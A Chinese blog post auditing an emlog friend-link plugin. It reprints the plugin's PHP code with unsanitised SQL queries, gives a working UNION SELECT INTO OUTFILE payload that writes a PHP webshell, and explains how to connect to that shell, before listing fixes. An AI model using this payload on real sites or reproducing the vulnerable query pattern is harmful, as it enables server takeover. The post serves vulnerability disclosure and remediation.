网络与信息安全网络安全实验室安天365网络安全技术研究团队

EMLOG漏洞 | 针对emlog友情链接插件审计出的SQL注入

2018-06-02  本文已影响60人  DYBOY

这其实不能算是emlog 系统的漏洞,这问题主要是出现在开发者身上。由于作者在写代码的时候没有注意到过滤参数,因此而引发了SQL注入漏洞,望大家有安装过或类似的插件,请及时更新,本文章最后会提供修复版的插件!

0x01 Emlog友情链接自助插件

这款插件主要是为了减轻站长审核友情链接的压力,通过申请者自己填写表单的方式提交申请,后端检查对方网站是否添加本站的链接从,如果存在,则向数据库中添加数据,否则不添加,从而有效节约站长的时间。
存在漏洞版本下载地址:友情链接自助插件V1.3.zip

0x02 代码审计

下载如上链接的插件压缩包,打开,文件目录如图:

目录结构
其中最重要(核心)的文件就是link_web.php 这个文件。在之前的文章中说过,EMLOG本身并不存在SQL注入漏洞,此漏洞是插件作者代码过滤不严格导致的,为了验证漏洞,在本地测试一下!
首先看看源码如图:
源码
如图红色箭头所指,程序在获取用户输入参数的时候并没有对参数过滤,此后还存在查询,插入数据的数据库操作,因此很常见的SQL注入漏洞就出现了!
贴出如下部分代码方便大家阅读:
<?php
/*
Plugin Name: 友链自助添加1.21
Version: 1.21
Plugin URL:http://www.dyboy.cn/post-117.html
Description: 判断申请友链的网站是否先添加了本网站的友链,然后再加上友链
ForEmlog:5.3.1+
Author: DYBOY
Author URL: http://whois.dyboy.cn/
*/
!defined('EMLOG_ROOT') && exit('access deined!');
function link_web() {
if($_GET['link_t']=="1"){
$bl_link = $_POST['url'] . '/';
$bl_web_name = $_POST['web_name'];
$bl_web_description = $_POST['web_description'];
$bl_cxl=mysql_query("SELECT  * from ".DB_PREFIX."link where siteurl='$bl_link'"); 
$bl_cxt=mysql_query("SELECT  * from ".DB_PREFIX."link where sitename='$bl_web_name'"); 
if($bl_link !="" and $bl_web_name!="" ){
$name = file_get_contents($bl_link);
$pan = $_SERVER['HTTP_HOST']; 
$con = explode($pan,$name); 
if (count($con)>1 && mysql_num_rows($bl_cxl)==0 && mysql_num_rows($bl_cxt)==0):
$sql_bl_cr = mysql_query("INSERT INTO ".DB_PREFIX."link (sitename,siteurl,description,taxis,hide)VALUES ('$bl_web_name','$bl_link','$bl_web_description','14','y')");
?>

这里,因为每个参数都没有过滤,因此我们就直接针对第一个sql语句作为注入点测试一下吧!
Payload如下:

url=http%3A%2F%2Fwww.dyboy.cn' union select 1,2,3,4,5,'<?php @assert($_GET[x]); ?>' into outfile 'D:\\Server\\htdocs\\emlog\\dd.php' #&web_description=%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95&submit=%E6%8F%90%E4%BA%A4%E7%94%B3%E8%AF%B7&web_name=%E7%AC%AC%E4%B8%80%E8%B5%84%E6%BA%90%E7%BD%91
//这是POST数据,因为表单是post提交的

使用burpsuite直接拦截数据包,然后直接修改post的数据为如上一样即可。拦截数据,修改如上,放行数据包,就能成功了!
其中D:\\Server\\htdocs\\emlog\\dd.php 这个参数要修改为对方网站的web绝对路径,同时选择一个可写目录,获取绝对路径的方式有很多,在本次测试中发现一些方式,这里就不公布了,只说一种,可以参考之前的一篇文章

EMLOG漏洞 | 敏感信息泄漏phpinfo-代码审计

然后菜刀链接http://www.test.com/dd.php 密码为:x
就可以获得shell了

0x03 实战测试

为了验证漏洞的真实性,这里我就以本地环境为例子
此时我以游客身份访问 http://www.test.com/friends.html (这个是我本地环境127.0.0.1域名重定向非真实网址)
尝试添加我的http://www.dyboy.cn 看看是否能成功,此前,已在该网站添加了test.com的友情链接

测试功能是否正常
发现是能够成功添加的,说明插件的安装是没有问题的!
然后再次提交数据,BurpSuite抓包拦截,并修改
抓包拦截修改psot数据
发送这个数据包等待出现如下情况:
结果
发现成功写入d.php文件到网站根目录
我们访问测试输出phpinfo()一下如下图:
成功
OK,到这一步就成功拿到了网站shell了

0x04 修复方法

  1. 过滤参数
  2. 下载如下提供的修复版插件安装替换:
    这里小东提供一个修复版本的下载地址:https://www.lanzous.com/i1561eh

其他EMLOG站长有使用类似插件的记得及时更新!!!或者联系我QQ1099718640手动解决,人数可能较多,请勿催促!

0x05 总结

通过此次审计一个小插件就发现了SQL注入漏洞,很多CMS网站其实本身已经不存在问题了,但是由于一些个人开发者对于web安全了解较少,对于用户参数过滤不严谨,导致了漏洞的存在。因此当我们在审计代码的时候,不仅仅要注重程序主体业务逻辑等等的风险,有时候也需要关注一些扩展模块。
“千里之堤溃于蚁穴”此处来讲,也不是没有道理!

上一篇下一篇

猜你喜欢

热点阅读